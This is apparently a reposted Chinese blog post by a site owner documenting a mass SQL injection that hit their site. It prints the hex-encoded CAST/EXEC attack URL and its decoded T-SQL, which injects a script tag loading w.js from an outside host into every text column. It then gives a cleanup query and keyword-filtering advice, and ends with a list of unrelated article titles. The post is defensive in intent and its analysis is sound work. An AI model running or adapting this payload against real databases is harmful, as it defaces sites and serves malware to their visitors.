使用CAST来SQL注入
来源:互联网 发布:windows在哪下载 编辑:程序博客网 时间:2024/05/01 16:17
自己的网站曾经经历过这种SQL注入。所以把一个例子放在这里,以便日后查询。
进行SQL注入的人会在你的url上加入如下的数据。
;DECLARE
%20@S%20CHAR(4000);SET%20@S=CAST(0×4445434C415245204054207661726368617228323535
292C4043207661263686172283430303029204445434C415245205461626C655F437572736F7220
435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073797
36F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420
616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747
970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50
454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4
37572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30
2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432
B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2727207
76865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73637269
7074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7323E3C2F7363726970
743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F722
0494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C
4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
以上的数据大部分的16进制的。里面的内容是
当然,防止这种事情的发生还是很重要的。
如,declare,EXEC, varchar等作为关键字。还有很多关键字,因为时间有限,所以不多写。
;DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://1.verynx.cn/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
上面的SQL语句的作用是
1. 搜索所有带有text, varchar等字段用户自定义表
2. 循环一个一个第注入自己的代码。
根据以上的代码,可以这样复原数据:
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''"></title><script src="http://1.verynx.cn/w.js"></script><!--'','''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
- 使用CAST来SQL注入
- 使用正则表达式来防止SQL注入攻击
- 使用PDO查询Mysql来避免SQL注入风险
- 使用PDO查询Mysql来避免SQL注入风险
- C# 中使用SqlParameter来防止sql注入
- 使用PDO查询Mysql来避免SQL注入风险
- 使用PDO查询Mysql来避免SQL注入风险
- 使用PDO查询Mysql来避免SQL注入风险
- 关于使用占位符来解决SQL注入
- 使用PDO查询Mysql来避免SQL注入风…
- mysql使用bind_param()参数绑定来防止SQL注入攻击
- sql使用cast进行数据类型转换
- sql cast 和convert使用详解
- SQL CAST()
- CAST SQL
- SQL CAST
- sql cast
- cast使用
- What GUI system to use for C++/Ogre MMOG?
- 在WPF里面获取右键弹出菜单(ContextMenu)的鼠标点击源(Owner)控件
- 自做asp与AJAX之投票系统
- 堆和栈的区别
- DELPHI+MSSQL工业控制之数据采集系统(毕业论文+文献综述+外文翻译+可执行程序+源代码)
- 使用CAST来SQL注入
- Flex中 encodeURI 对url进行编码,中文url
- 还是,Stairway To Haven
- 练手小项目(二):计算器(说明文档)
- 练手小项目(二)计算器
- Linux新手要了解的十个知识点
- web超酷的图片效果
- 详细解析Java中抽象类和接口的区别
- 知名 GUI lib 簡評